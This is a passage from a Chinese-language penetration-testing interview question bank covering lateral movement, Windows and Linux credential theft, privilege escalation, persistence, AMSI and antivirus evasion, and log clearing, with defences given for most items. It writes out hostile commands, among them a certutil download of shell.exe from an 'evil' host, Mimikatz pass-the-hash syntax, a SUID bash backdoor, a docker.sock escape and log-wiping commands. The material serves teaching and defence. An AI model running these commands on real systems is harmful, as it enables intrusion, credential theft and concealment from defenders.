'.php')限制了只能包含.php文件。攻击者输入file=../../../../etc/passwd%00，拼接后变为../../../../etc/passwd%00.php。PHP底层在处理时遇到%00即截断，实际包含的是/etc/passwd而非/etc/passwd.php。

影响版本：PHP < 5.3.4。PHP 5.3.4及以后版本修复了此问题。

其他场景：%00截断还影响文件上传（shell.php%00.jpg可能被当作shell.php处理）、文件下载等。

防御：升级PHP版本至5.3.4以上，对用户输入进行空字节过滤，使用白名单校验文件扩展名。

40. 什么是API安全? API常见安全风险有哪些?

答案/解析: [中]

API安全是指保护API免受未经授权访问、数据泄露和滥用的安全措施。随着微服务和移动应用的发展,API成为攻击的主要目标。

OWASP API安全Top 10主要风险: 1)

对象属性级别授权失效(BOPLA): API暴露全部属性,攻击者可修改不该访问的字段(如is_admin=true); 2)

身份认证失效: 弱密码、Token管理不当、无速率限制; 3)

对象级别授权失效(BOLA): API未校验用户对特定资源的访问权限导致越权; 4)

不受限的资源消耗: 无速率限制和资源配额导致DoS; 5) 功能级别授权失效: 普通用户可访问管理API端点; 6)

不受限的敏感数据暴露; 7) SSRF; 8) 安全配置错误; 9) 库存管理不当: 存在未文档化的影子API; 10)

API不安全消费: 第三方API集成未做安全验证。

防御核心: 实施严格的权限控制(RBAC/ABAC)、输入验证、速率限制、API网关统一管理。

三、内网渗透与后渗透

41. 内网渗透的基本思路和流程是什么？

答案/解析： [中]

内网渗透通常在外网边界被突破后进行，核心流程：1)

代理穿透：通过WebShell或漏洞利用获取的边界主机作为跳板，建立内网代理通道（SOCKS/HTTP隧道），使攻击者工具能够访问内网；2)

内网信息收集：网络拓扑（存活主机扫描、网段发现）、服务识别（开放端口、运行服务、Web应用指纹）、域环境判断（是否存在域控、当前主机是否在域内）、凭据搜集（内存中的密码Hash、浏览器保存密码、注册表凭据、配置文件中的密码）；3) 横向移动：利用收集到的凭据或漏洞在其他内网主机上获取访问权限；4)

权限提升：从普通用户权限提升到管理员或SYSTEM权限；5)

域控攻击：如果目标是域环境，攻击域控获取全域控制权；6)

权限维持：部署后门、创建隐藏账户、植入计划任务等保持持久化访问；7)

数据收集与外带：打包目标数据通过DNS隧道、ICMP隧道或加密通道外传。

42. Windows中如何进行凭据窃取？

答案/解析： [难]

Windows凭据窃取的多种方式：1) LSASS内存dump：LSASS进程存储了NTLM Hash、Kerberos票据等凭据。使用Mimikatz的sekurlsa::logonpasswords命令或procdump导出后离线解析，需SYSTEM权限；2) SAM数据库：C:\Windows\System32\config\SAM存储本地用户Hash，使用reg save导出后用impacket-secretsdump解析；3)

NTDS.dit：域控上的NTDS.dit存储所有域用户Hash，通过vssadmin卷影复制或DCSync提取；4)

凭据管理器：Windows凭据管理器中保存的通用凭据和Windows凭据，使用cmdkey /list查看；5)

浏览器密码：Chrome使用DPAPI加密的SQLite数据库，IE/Edge使用Vault；6)

注册表：自动登录凭据（Winlogon）、VNC密码；7) LAPS密码：域内普通用户可读取计算机本地管理员密码；8)

网络抓包：在已控主机上使用Responder抓取内网中传输的NTLMv2 Hash。

防御：启用Credential Guard、配置LSA保护、定期修补漏洞、限制本地管理员权限。

43. 什么是Pass The Hash (PTH) 攻击？

答案/解析： [中]

Pass The Hash（哈希传递）攻击原理：Windows NTLM认证协议中，客户端使用用户密码的NTLM Hash而非明文密码进行认证。攻击者获取了某用户的NTLM

Hash后，无需破解明文密码，直接使用Hash进行NTLM认证，访问该用户有权限的所有资源。

攻击过程：1) 通过Mimikatz或Hashdump获取管理员账户的NTLM Hash；2) 使用Mimikatz sekurlsa::pth /user:admin /ntlm:hash /domain:target注入Hash到当前会话；3)

或使用impacket的psexec/wmiexec/smbexec工具直接提供Hash进行SMB认证；4)

认证成功后获得目标系统的SYSTEM权限Shell。

适用场景：内网中多台主机使用相同本地管理员密码、域管理员Hash可用于访问任意域内主机。

防御：禁用NTLM认证强制使用Kerberos；LAPS为每台主机设置不同的本地管理员密码；最小权限原则限制域管理员登录范围；启用Credential Guard；监控异常的SMB登录行为（4624事件Logon Type 3）。

44. Kerberoasting攻击的原理和防御?

答案/解析: [难]

Kerberoasting原理: Kerberos认证中, 用户向TGS请求访问某服务的TGS票据时, TGS返回的票据使用服务账户的NTLM Hash加密。对于注册了SPN (服务主体名称) 的服务账户, 任何域用户都可以请求其TGS票据。

攻击过程: 1)

攻击者以普通域用户身份使用Rubeus或Impacket的GetUserSPNs.py请求所有注册了SPN的服务账户的TGS票据; 2) 将获取的TGS票据导出; 3) 使用Hashcat离线爆破 (模式13100), 如果服务账户密码较弱可爆破出明文密码; 4) 获取服务账户权限后根据该账户权限进行进一步横向移动。

攻击关键点: TGS票据使用服务账户密码Hash加密, 爆破实际上是离线破解服务账户密码, 不受账户锁定策略限制。

防御: 服务账户使用强密码 (25位以上随机字符串) 使离线爆破不可行; 使用组托管服务账户 (gMSA) 密码自动管理; 监控异常的TGS请求 (4769事件) 同一用户短时间内请求大量SPN票据; 最小化注册SPN的服务账户数量和权限。

45. 什么是Golden Ticket和Silver Ticket攻击?

答案/解析: [难]

Golden Ticket (黄金票据): TGT (票据授予票据) 使用krbtgt账户的NTLM Hash签名和加密。如果攻击者获取了krbtgt账户的Hash, 就可以伪造任意用户的TGT冒充域管理员访问域内任何服务。伪造的TGT有效期默认10年, 即使重置用户密码也不影响。利用条件是需要获取krbtgt账户Hash (通常需要域控管理员权限), 意味着攻击者已经拿下域控。可用于权限维持。防御: 定期 (半年) 重置krbtgt账户密码两次 (由于历史Hash保留机制需重置两次才彻底清除旧Hash)。

Silver Ticket (白银票据): TGS票据使用服务账户的NTLM Hash签名。如果攻击者获取了某服务账户的Hash, 可以伪造该服务的TGS票据直接访问该服务而无需经过KDC。与Golden Ticket区别: Silver Ticket不需要与KDC通信 (更隐蔽), 但只能访问特定服务而非全域; Golden Ticket需要krbtgt Hash, Silver Ticket需要服务账户Hash。

防御: 服务账户使用强密码、定期更换、监控异常票据使用。

46. 如何判断当前主机是否在域环境中?

答案/解析: [中]

判断域环境的多种方法: 1) ipconfig /all查看DNS后缀, 显示域名 (如corp.example.com) 则可能在域中; 2) net config workstation查看"工作站域"字段, 显示域名表示在域中, 显示WORKGROUP表示在工作组中; 3) systeminfo查看"域"字段; 4) net time /domain: 如果返回"找不到域控"说明不在域中, 如果返回域控时间和域名说明在域中, 如果提示拒绝访问说明在域中但当前用户权限不足; 5) nltest /dsgetdc:域名获取域控信息; 6) PowerShell: [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain(); 7) 查看进程tasklist /v | findstr lsass, 域环境中lsass进程会加载Kerberos相关DLL; 8) 查询注册表HKLM\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\Domain中存储域名。确认域环境后进一步收集域控地址、域管理员列表、域用户列表等信息。

47. 常见的内网代理和隧道技术有哪些？

答案/解析： [中]

内网代理和隧道技术用于在受限网络环境中建立通信通道：1)

SOCKS代理：EarthWorm (ew) 支持正向/反向SOCKS代理；frp反向代理工具配置灵活支持TCP/UDP/HTTP代理；Cobalt Strike内置SOCKS4a代理功能。

2) HTTP隧道：reGeorg/Neo-reGeorg通过WebShell建立HTTP隧道将TCP流量封装在HTTP请求中；tunna类似工具。

3) DNS隧道：dnscat2将数据封装在DNS查询中适用于仅允许DNS出站的环境；iodine支持IP-over-DNS；Cobalt Strike的DNS Beacon。

4) ICMP隧道：icmpsh通过ICMP echo request/reply传输数据；PingTunnel。

5) 其他：SSH隧道 (ssh -D SOCKS或ssh -L端口转发)；Chisel基于HTTP的TCP/UDP隧道支持多级代理。

选择依据：根据出站协议限制选择合适的隧道类型，优先选择加密且流量特征不明显的方案。

48. 什么是BloodHound？它在内网渗透中的作用？

答案/解析： [中]

BloodHound是一款用于分析Active Directory域环境中复杂权限关系的图形化工具。

工作原理：1)

数据收集：使用SharpHound通过LDAP查询获取AD中的用户、计算机、组、ACL、会话、GPO等信息；2)

数据建模：将收集的数据导入Neo4j图数据库以节点（用户/计算机/组）和边（权限关系/会话关系）的形式存储；

3) 路径分析：使用Cypher查询语言分析从普通用户到域管理员的攻击路径。

在内网渗透中的作用：1)

可视化攻击路径：直观展示从当前权限到域管理员的最短路径，包括ACL滥用、会话劫持、组嵌套等复杂关系；2)

发现隐藏的提权路径：人工分析难以发现的间接权限链（如A有B的WriteDacl权限，B有C的GenericAll权限，C是Domain Admins成员）；3) 评估域安全态势：识别ACL配置不当、过多Domain

Admin登录、Kerberoastable账户等问题；4)

规划攻击步骤：根据分析结果确定下一步横向移动的目标和方式。防御方也可使用BloodHound进行安全评估。

49. 什么是NTLM Relay攻击？如何防御？

答案/解析： [难]

NTLM

Relay (NTLM中继) 攻击原理：攻击者位于客户端和服务端之间，截获客户端的NTLM认证请求将其转发（中继）给另一台服务器，以客户端身份通过认证获取资源访问权限。

攻击过程：1) 攻击者通过LLMNR/NBNS投毒或ARP欺骗诱导受害者向攻击者发起NTLM认证；2)

攻击者收到认证请求后立即将其转发给目标服务器（如SMB、LDAP、HTTP服务）；3)

目标服务器返回Challenge攻击者将其转发给受害者；4)

受害者计算Response返回给攻击者攻击者再转发给目标服务器；5)

认证成功攻击者以受害者身份访问目标服务器。

攻击场景：中继到LDAP（添加域用户到特权组、修改计算机账户配置资源约束委派）；中继到SMB（执行命令、读取文件）；中继到HTTP（访问内网Web应用）。

防御：启用SMB签名；启用LDAP Channel Binding和LDAP

Signing；禁用LLMNR/NBT-NS协议；启用EPA扩展保护认证；最小权限原则限制高权限账户的网络登录。

50. 什么是ZeroLogon漏洞（CVE-2020-1472）？

答案/解析： [难]

ZeroLogon（CVE-2020-1472）是Windows Netlogon远程协议中的严重漏洞，CVSS评分10.0。

漏洞原理：Netlogon协议在认证过程中使用AES-CFB8加密算法对Client

Credential进行加密。AES-CFB8的IV（初始化向量）被错误地设置为全零，导致在特定情况下（明文也全零时）加密结果有1/256的概率为全零。攻击者可反复尝试（平均256次），当加密结果为全零时即通过认证。

利用过程：1) 攻击者将Client Challenge设为全零字节向域控发起Netlogon认证；2) 计算Session Key如果Client Credential为全零（1/256概率）认证通过；3) 平均尝试256次即可成功整个过程仅需数秒；4) 认证通过后攻击者可重置域控计算机账户密码为空随后使用空密码通过DCSync获取所有域用户Hash。

影响：任何能访问域控Netlogon服务（TCP 445端口）的攻击者可在数秒内接管域控无需任何凭据。

防御：安装微软安全补丁（2020年8月），启用强制SMB签名和Netlogon安全通道签名。

51. LLMNR/NBNS投毒攻击的原理及防御？

答案/解析： [中]

LLMNR（链路本地多播名称解析）和NBNS（NetBIOS名称服务）是Windows在没有DNS解析时的回退名称解析机制。当DNS查询失败时主机通过广播/多播询问网络中是否有其他主机知道该名称。

攻击原理：1) 攻击者和受害者在同一网段；2) 受害者请求一个不存在的名称（如拼写错误的共享名）；3) DNS解析失败后主机通过LLMNR/NBNS广播询问；4) 攻击者抢先回应声称自己就是该名称的主机；5) 受害者向攻击者发起SMB认证（NTLMv2 Hash）；6) 攻击者捕获Hash后可离线爆破或进行NTLM Relay。

利用工具：Responder是最常用的LLMNR/NBNS投毒工具可自动监听并响应名称查询。

防御：1) 禁用LLMNR（组策略关闭multicast name resolution）；2) 禁用NBNS（禁用NetBIOS over TCP/IP）；3) 网络分段将服务器和工作站分到不同VLAN；4) 监控网络中的LLMNR/NBNS异常响应流量；5) SMB签名启用防止捕获的Hash被中继利用。

52. 什么是资源约束委派（RBCD）攻击？

答案/解析： [难]

资源约束委派（Resource-Based Constrained Delegation, RBCD）是Windows Server 2012引入的Kerberos委派机制，允许资源自身配置哪些账户可以代表用户访问它。攻击者如果能修改某计算机账户的msDS-AllowedToActOnBehalfOfOtherIdentity属性，就可以冒充任意用户访问该计算机。

攻击条件：1)

攻击者拥有一个具有SPN的服务账户或计算机账户（可以创建机器账户，默认普通域用户可加入10台计算机到域）；2) 攻击者对目标计算机账户拥有WriteAccountRestrictions权限（可通过ACL滥用或NTLM Relay到LDAP获取）。

攻击过程：1) 创建机器账户EVIL\$作为攻击主体；2) 通过NTLM Relay到LDAP或ACL滥用修改目标计算机的msDS-AllowedToActOnBehalfOfOtherIdentity属性添加EVIL\$；3) 使用EVIL\$账户通过S4U2Self和S4U2Proxy协议以管理员身份访问目标计算机获取本地管理员权限。

防御：限制MachineAccountQuota为0；审计AD中ACL配置；启用LDAP签名和Channel Binding；监控属性异常修改。

53. 什么是PrintNightmare漏洞？其影响和防御？

答案/解析： [难]

PrintNightmare（CVE-2021-34527）是Windows Print Spooler服务中的严重漏洞，允许远程代码执行和本地提权。

漏洞原理：Windows Print Spooler服务在处理打印机驱动安装时存在路径验证缺陷。RpcAddPrinterDriverEx API允许指定任意DLL文件路径作为打印机驱动程序加载。攻击者指定恶意DLL路径后Print Spooler服务以SYSTEM权限加载该DLL实现代码执行。

利用方式：1)

远程利用：攻击者通过SMB将恶意DLL放在目标可访问的共享路径调用RpcAddPrinterDriverEx加载获取SYSTEM权限，需要目标Print Spooler服务运行且攻击者有域内任意账户；2)

本地提权：普通用户在本地执行相同操作从普通权限提升到SYSTEM权限。

影响：域控通常运行Print Spooler服务可被用于域控接管；任何运行Print Spooler的Windows主机都受影响；CVSS 8.8影响范围极广。

防御：安装安全补丁；在不需要打印服务的服务器（特别是域控）上禁用Print

Spooler服务；限制客户端打印机安装；监控打印服务异常驱动安装事件。

54. 常见的数据外带方式有哪些？如何检测？

答案/解析： [中]

数据外带方式：1)

DNS隧道：将数据编码为DNS查询的子域名通过DNS协议外传。工具如dnscat2、iodine，因DNS通常不被防火墙阻断隐蔽性强；2) ICMP隧道：将数据嵌入ICMP echo request的data字段。工具如icmpsh、PingTunnel；3)

HTTP/HTTPS隧道：将数据封装在正常HTTP请求中（如POST body、Cookie、URL参数）通过Web代理或CDN中转；4)

云存储中转：上传到公有云对象存储使用预签名URL分享；5)

加密压缩：将数据加密压缩后通过允许的协议（如FTP、SMTP邮件）传输。

检测方法：1) 流量基线分析建立正常网络流量基线检测异常大流量传输或异常目的地址；2)

DNS异常检测大量TXT记录查询、超长子域名、单一DNS服务器高频查询；3)

DLP（数据防泄露）部署DLP系统基于内容特征检测敏感数据外传；4)

行为分析用户异常下载大量文件、非工作时间大量数据传输；5)

网络分段和出站控制限制出站协议和目的地址仅允许必要的白名单通信。

55. 什么是Living Off The Land (LOTL/LOLBins)？

答案/解析： [中]

Living Off The Land (LOTL) 是指攻击者利用目标系统中已有的合法工具和二进制文件来执行攻击操作而非上传恶意文件。这些被利用的合法系统工具称为LOLBins。

常见LOLBins：1) certutil：Windows证书工具可被用于下载文件（certutil -urlcache -split -f http://evil/shell.exe）和Base64解码；2) bitsadmin：后台智能传输服务可用于下载文件；3)

PowerShell：执行脚本、下载文件、内存注入；4) WMI：wmic命令远程执行、信息收集；5)

mshta：执行HTA文件常用于无文件攻击；6) rundll32：加载任意DLL；7) regsvr32：通过sct脚本执行代码；8)

msiexec：安装远程MSI包。

LOTL优势：不落地恶意文件传统AV无法检测；使用签名合法工具不会被标记为恶意；与正常系统管理操作难以区分。

检测方法：监控这些工具的异常使用（异常参数、非工作时间执行、从非标准目录运行、网络外连行为），结合行为基线分析。

56. 什么是Cobalt Strike？核心功能有哪些？

答案/解析： [中]

Cobalt Strike (CS) 是一款商业化的威胁模拟和对手模拟平台，广泛用于红队评估和渗透测试。

核心概念：Team

Server是C2服务器管理Beacon通信、日志和攻击任务；Beacon是运行在被控主机上的植入体支持异步通信模拟APT行为；Malleable C2可自定义C2通信的流量特征使流量看起来像正常Web应用通信。

核心功能：1) Beacon通信模式包括HTTP/S Beacon通过HTTP/S回连C2、DNS Beacon通过DNS协议通信适合严格出站限制环境、SMB Beacon通过命名管道通信用于内网横向移动、TCP Beacon通过TCP端口通信用于内网跳板；2) 横向移动内置PsExec、WMI、WinRM等技术支持PTH；3) 权限提升内置Bypass UAC、EXP集成；4) 凭据获取集成Mimikatz、Hashdump、Kerberos Ticket操作；5) SOCKS代理在Beacon上开启SOCKS代理支持内网工具通过代理操作；6) 文件管理上传/下载文件。
检测：Beacon默认通信特征、Malleable C2 Profile检测、内存扫描Beacon特征。

57. Windows常用权限维持方法有哪些？

答案/解析： [中]

Windows权限维持的常见方法：1)

注册表自启动：HKCU/HKLM的Software\Microsoft\Windows\CurrentVersion\Run键值在用户登录时执行；Winlogon\Userinit用户登录时加载；Image File Execution Options映像劫持设置debugger为恶意程序。

2) 计划任务：schtasks /create创建定时或事件触发的计划任务可设置SYSTEM权限运行。

3) 服务：创建恶意Windows服务设置为自动启动以SYSTEM权限运行。

4) WMI事件订阅：通过WMI永久事件订阅在特定事件触发时执行恶意代码隐蔽性高。

5) DLL劫持：将恶意DLL放置在应用程序目录中利用DLL搜索顺序劫持合法程序的DLL加载。

6) 内存马/注入：将恶意代码注入到合法进程（explorer.exe、svchost.exe）中不落地文件。

7) 隐藏账户：创建以\$结尾的用户名在net user命令中不显示。

8) WebShell：在Web目录中留后门文件。

检测：定期审计注册表自启动项、计划任务、服务列表、WMI订阅、异常进程；使用Autoruns工具全面检查。

58. 如何隐藏攻击痕迹？防守方如何检测？

答案/解析： [中]

攻击者隐藏痕迹的方法：1) 日志清理：Windows使用wevtutil c1 Security清安全日志、删除特定事件记录而非全部避免引起注意；Linux使用shred -zu /var/log/auth.log安全删除、修改日志文件时间戳。

2) 文件隐藏：修改文件时间戳（touch -t使其看起来是旧文件）；隐藏文件属性（Windows attrib +h +s、Linux文件名以.开头）；ADS替代数据流将数据附加到合法文件中。

3)

进程隐藏：进程注入将恶意代码注入到合法进程中；进程镂空创建合法进程挂起后替换内存内容；Rootkit修改系统内核隐藏进程、文件、网络连接。

4) 网络隐藏：使用合法协议端口通信（443端口、DNS协议）；域前置通过CDN隐藏真实C2服务器。

防守方检测方法：1) 日志集中管理将日志实时转发到SIEM攻击者无法清除远端日志；2)

EDR/行为监控监控进程注入、异常DLL加载、可疑API调用；3) 文件完整性监控FIM监控关键文件和目录的变更；4)

内存扫描检测注入到合法进程中的恶意代码；5) 网络流量分析检测异常协议、信标式通信模式；6)

蜜罐和蜜标部署虚假资产吸引攻击者检测内网横向移动。

四、权限提升与维持

59. Windows提权的常见方法有哪些？

答案/解析： [中]

Windows提权方法分为以下几类：1)

系统内核漏洞提权：利用未修补的内核漏洞（如MS14-058、MS15-051、MS16-032、CVE-2021-1732）通过公开EXP将普通权限提升到SYSTEM。需注意EXP版本匹配和稳定性。

2) 服务配置错误提权：服务路径未引用（Unquoted Service Path）含空格且未加引号时可放置恶意EXE劫持；服务权限配置不当普通用户可修改服务binPath；DLL劫持服务加载的DLL路径可写放置恶意DLL。

3)

注册表提权：AlwaysInstallElevated设为1时MSI包以SYSTEM权限安装；AutoLogon凭据存储了自动登录的明文密码。

4)

令牌窃取提权：滥用Windows访问令牌如Potato系列（RoguePotato、JuicyPotato、PrintSpoofer）利用NTLM中继和命名管道获取SYSTEM权限。

5) UAC绕过：利用自动提升的白名单程序（fodhelper、eventvwr）或COM接口绕过UAC。

6) 数据库提权：MSSQL的xp_cmdshell、MySQL的UDF提权。

提权前置信息收集：systeminfo（补丁信息）、whoami /priv（当前权限）、sc query（服务列表）。

60. Linux提权的常见方法有哪些？

答案/解析： [中]

Linux提权方法：1) 内核漏洞提权：利用Linux内核漏洞（如DirtyCow CVE-2016-5195、DirtyPipe CVE-2022-0847）编译执行公开EXP获取root权限。需匹配内核版本（uname -r）。

2) SUID提权：查找设置了SUID位的可执行文件（find / -perm -4000），如果SUID程序中存在命令执行功能或可被利用的行为以root权限执行。常见可利用SUID程序：nmap（旧版交互模式）、vim（:!command）、find（-exec参数）、bash（-p参数）、python/perl（-c参数）。

3) sudo误配置提权：检查sudo -l，如果允许以root执行某些命令（如sudo vim、sudo less）可通过命令逃逸获取root Shell。sudoers中的NOPASSWD配置也是常见提权点。

4)

定时任务（Cron）提权：cron中执行的脚本可写修改脚本内容添加反弹Shell；cron中使用通配符利用通配符注入。

5) PATH变量劫持：如果SUID程序调用其他命令时使用了相对路径可通过修改PATH变量使恶意程序被执行。

6) NFS提权：NFS no_root_squash挂载允许客户端以root身份写入文件可写入SUID bash。

7) Docker逃逸：如果用户在docker组中或容器以--privileged运行可挂载宿主机文件系统逃逸。

信息收集脚本：LinPEAS、LinEnum、linux-exploit-suggester。

61. 什么是UAC？如何绕过UAC？

答案/解析： [中]

UAC（用户账户控制）是Windows

Vista引入的安全机制，当管理员账户执行需要提升权限的操作时会弹出确认提示防止恶意程序静默获取管理员权限。

UAC绕过原理：Windows维护了一批“自动提升”的白名单程序，这些程序以管理员身份运行时不会弹出UAC提示。攻

击者利用这些白名单程序的缺陷来执行任意命令。

常见绕过方法：1)

fodhelper.exe：在HKCU\Software\Classes\ms-settings\Shell\Open\command注册表键中写入恶意命令然后执行fodhelper.exe它会读取该注册表键并执行命令；2)

eventvwr.exe：类似fodhelper利用注册表HKCU\Software\Classes\mscfile\shell\open\command；3) ICMLuaUtil COM接口利用elevation moniker调用自动提升的COM对象；4) DLL劫持在白名单程序搜索路径中放置恶意DLL；5) sdclt.exe利用注册表劫持。

前提条件：攻击者已具有管理员组中非提权状态的权限（Medium Integrity Level），UAC设为默认级别。

防御：设置UAC为最高级别（Always

notify）、限制本地管理员组成员数量、监控白名单程序的异常注册表写入行为。注意：UAC绕过不是提权而是从管理员账户的非提权状态获取提权状态。

62. 什么是Potato提权？有哪些变种？

答案/解析： [难]

Potato系列提权是利用Windows

NTLM中继和令牌模拟技术，将本地NTLM认证中继到本地服务（通常为RPC或WinRM），获取SYSTEM权限的令牌。

核心原理：1) 攻击者触发本地NTLM认证（如通过CoGetObject调用BITS接口）；2)

截获NTLM认证流量中继到本地的高权限服务（如RPC endpoint mapper）；3)

获取SYSTEM账户的模拟令牌（ImpersonateToken）；4) 使用SYSTEM令牌执行任意命令。

变种：1)

RottenPotato（2016）：利用BITS服务和RPC端点映射器中继，需要SeImpersonatePrivilege权限（通常Service账户如IIS、SQL Server拥有）；2)

JuicyPotato（2018）：RottenPotato改进版支持选择任意COM对象和监听端口，但Windows Server

2019+修复了相关接口；3) RoguePotato（2020）：绕过Server 2019修复利用远程RPC调用和命名管道中继；4)

PrintSpoofer（2020）：利用Print Spooler服务的命名管道模拟更简单直接支持Windows 10和Server 2019；5)

GodPotato（2022）：利用Windows DCOM/RPC机制支持更多Windows版本。

前提条件：拥有SeImpersonatePrivilege权限（通常为服务账户），不适用于普通用户。

防御：限制服务账户权限、禁用不必要的Print Spooler服务、监控异常的令牌模拟行为。

63. Docker逃逸的常见方式有哪些？

答案/解析： [难]

Docker逃逸是指攻击者从Docker容器中突破隔离获取宿主机权限。常见方式：1)

特权模式逃逸（--privileged）：特权容器拥有所有Linux

capabilities可直接访问宿主机设备。挂载宿主机磁盘fdisk -l查看磁盘mount /dev/sda1 /mnt挂载通过chroot /mnt获取宿主机文件系统访问权限。写入定时任务或SSH公钥到宿主机。

2) 挂载Docker Socket逃逸：如果容器挂载了/var/run/docker.sock可通过该Socket控制Docker daemon。在容器中创建新容器并挂载宿主机根目录：docker run -v /:/hostOS -it alpine chroot /hostOS /bin/bash。

3)

Capabilities滥用：CAP_SYS_MODULE可加载内核模块在内核层面获取宿主机权限；CAP_SYS_ADMIN可进行多种系统操作结合cgroup和notify_on_release逃逸。

4) 内核漏洞：容器与宿主机共享内核，内核漏洞（如DirtyCow、DirtyPipe）可从容器逃逸到宿主机。

防御：禁止使用--privileged模式使用--cap-drop移除不必要的capabilities；不挂载Docker

Socket到容器；使用User Namespace隔离；及时修补内核漏洞；使用seccomp/AppArmor限制容器系统调用。

64. Linux权限维持的常见方法有哪些？

答案/解析： [中]

Linux权限维持方法：1)

SSH公钥后门：将攻击者公钥写入/root/.ssh/authorized_keys实现免密SSH登录。隐蔽性好不易被密码更改影响。

2) Crontab定时任务：用户级crontab

-e添加定时反弹Shell或执行后门脚本；系统级写入/etc/cron.d/、/etc/crontab。

3) SUID后门：将恶意程序或bash复制到某路径并设置SUID：cp /bin/bash /tmp/.shell && chmod u+s /tmp/.shell，执行/tmp/.shell -p获取root Shell。

4) PAM后门：替换或修改PAM认证模块（如pam_unix.so）添加万能密码认证或记录所有用户密码。

5) Rootkit: LKM

Rootkit加载恶意内核模块隐藏进程/文件/网络连接；用户态Rootkit替换系统命令（ls、ps、netstat）为修改版本。

6) 环境变量劫持：修改PATH、LD_PRELOAD等环境变量使合法程序加载恶意库。

7) 启动脚本：在/etc/rc.local、/etc/init.d/、systemd服务中添加恶意命令。

8) Shell配置文件：在/root/.bashrc或/root/.bash_profile中添加恶意命令root登录时自动执行。

检测：审计crontab、systemd服务列表、SUID文件、SSH authorized_keys、异常内核模块、PAM模块hash校验。

65. 什么是免杀技术？常见免杀方法有哪些？

答案/解析： [难]

免杀（Anti-Virus

Evasion）是指通过技术手段使恶意代码绕过杀毒软件（AV）、终端检测与响应（EDR）等安全产品的检测。

常见免杀方法：1)

代码层面：加壳/加密使用自定义加密算法对Shellcode加密运行时解密执行；代码混淆混淆函数名、变量名、控制流破坏特征码匹配；分离免杀将Shellcode与加载器分离；动态API解析运行时通过GetProcAddress动态获取API地址避免IAT中暴露敏感函数名。

2)

加载器层面：自定义加载器使用C/C++/C#/Go编写Shellcode加载器避免使用默认生成的加载器特征；反射式DLL注入不通过LoadLibrary加载DLL自行实现PE加载逻辑；进程注入注入到合法进程中执行避免恶意进程被检测。

3) 行为层面：API Unhooking恢复EDR产品Hook的NTAPI函数绕过行为检测；直接系统调用（Direct Syscall）绕过ntdll.dll直接调用内核系统调用号绕过用户态Hook；AMSI

Bypass修改AMSI接口的内存数据使扫描失效。

4) 通信层面：域前置/CDN中转隐藏真实C2服务器地址；Malleable C2

Profile自定义C2通信特征；加密通信使用TLS/自定义加密保护通信内容。

5)

对抗沙箱：延迟执行检测沙箱分析时间限制长时间Sleep后执行；环境检测检测沙箱特征；交互触发等待用户交互后才执行恶意逻辑。

防御：行为分析优先于特征匹配、内核级监控（ETW TI）、内存完整性检查、网络流量分析。

66. 什么是AMSI？如何绕过AMSI？

答案/解析： [难]

AMSI（Anti-Malware Scan Interface）是Windows 10引入的反恶意软件扫描接口，为应用程序提供统一的恶意内容扫描能力。PowerShell、Windows Script Host、JavaScript/VBScript引擎、VBA宏等脚本引擎在执行脚本前会通过AMSI将内容提交给注册的AV/EDR产品扫描。

AMSI工作流程：脚本引擎在执行前调用AmsiScanString()或AmsiScanBuffer()将脚本内容提交给AMSI；AMSI将内容

转发给已注册的安全产品；安全产品扫描内容并返回结果；如果判定为恶意脚本引擎拒绝执行。

常见绕过方法：1)

内存补丁：修改amsi.dll中AmsiScanBuffer函数的内存代码使其直接返回成功。将入口指令patch为mov eax, 0x80070057; ret使AMSI认为扫描参数无效而跳过扫描；2)

混淆脚本内容：修改脚本内容使其不被特征匹配（Base64编码、变量名混淆、字符串拼接）；3)

使用反射和ScriptBlock拼接将脚本拆分为多个片段AMSI扫描每个片段时认为安全但执行时拼接成恶意代码；4)

降级PowerShell版本使用PowerShell v2（不支持AMSI）执行脚本；5)

使用非AMSI感知的执行方式如C#编译执行、COM对象调用。

防御：保持AMSI相关组件更新；监控AmsiScanBuffer函数内存是否被篡改；禁用PowerShell

v2；启用脚本块日志记录。

67. 什么是Windows内存马？如何检测？

答案/解析： [难]

Windows内存马是指恶意代码仅存在于内存中不写入磁盘文件，通过进程注入或反射式DLL加载方式执行实现无文件驻留。

常见类型：1)

进程注入马：将Shellcode注入到合法进程（如explorer.exe、svchost.exe）的内存空间中执行。注入方式包括CreateRemoteThread、SetWindowsHookEx、APC注入、Process Hollowing；2)

.NET内存马：通过Assembly.Load在内存中加载.NET程序集不落地DLL文件。Cobalt

Strike的execute-assembly功能即使用此技术；3)

PowerShell内存马：通过反射或ScriptBlock加载恶意脚本到内存执行利用AMSI Bypass绕过检测；4)

WMI事件订阅内存马：通过WMI永久事件订阅在特定触发条件下执行内存中的代码；5)

IIS模块内存马：在IIS中注册恶意HTTP模块或Handler处理Web请求时执行后门逻辑不写入Web目录文件。

检测方法：1) 内存扫描EDR产品扫描进程内存空间中的已知恶意特征码和反射式DLL加载痕迹；2)

API行为监控Hook CreateRemoteThread、VirtualAllocEx、WriteProcessMemory等注入相关API调用；3)

网络行为分析检测异常的网络外连（Beacon式通信、非标准协议端口）；4)

进程行为基线监控进程的异常子进程创建、异常网络连接；5) ETW利用ETW获取.NET

Assembly加载、PowerShell脚本执行等事件；6) AMSI扫描脚本和.NET程序集内容。

难点：高级内存马使用加密通信、API Unhooking、AMSI Bypass等技术对抗检测。

68. 什么是DLL劫持？如何利用和防御？

答案/解析： [中]

DLL劫持原理：Windows

DLL搜索顺序为应用程序所在目录→系统目录→Windows目录→当前目录→PATH环境变量目录。如果应用程序加载的DLL在搜索路径中不存在或存在可写的目录在搜索路径前面，攻击者可以放置同名的恶意DLL使其被优先加载。

利用场景：1)

服务DLL劫持：Windows服务启动时加载DLL如果服务binPath所在目录可写且DLL路径未引用放置恶意DLL在该目录；

2) 安装程序DLL劫持：软件安装程序通常以SYSTEM权限运行如果安装程序目录可写放置恶意DLL；3)

开发工具DLL劫持如Visual Studio、Python等工具加载第三方DLL时。

利用步骤：1) 使用Procmon监控目标程序加载的DLL列表；2) 找到DLL搜索失败的条目（NAME NOT FOUND）；3)

在对应目录放置同名的恶意DLL在DllMain中插入恶意代码；4) 当DLL被加载时自动执行。

防御：应用程序使用绝对路径加载DLL；启用SafeDLLSearchMode注册表设置；应用程序目录不可写（权限控制）；

代码签名验证加载的DLL完整性；定期审计系统中的DLL加载行为。

69. 什么是Windows Event Log清理？如何检测？

答案/解析： [中]

Windows事件日志清理是攻击者隐藏入侵痕迹的常见操作。攻击者通常在完成攻击后清除安全审计日志使防守方无法通过日志追溯攻击行为。

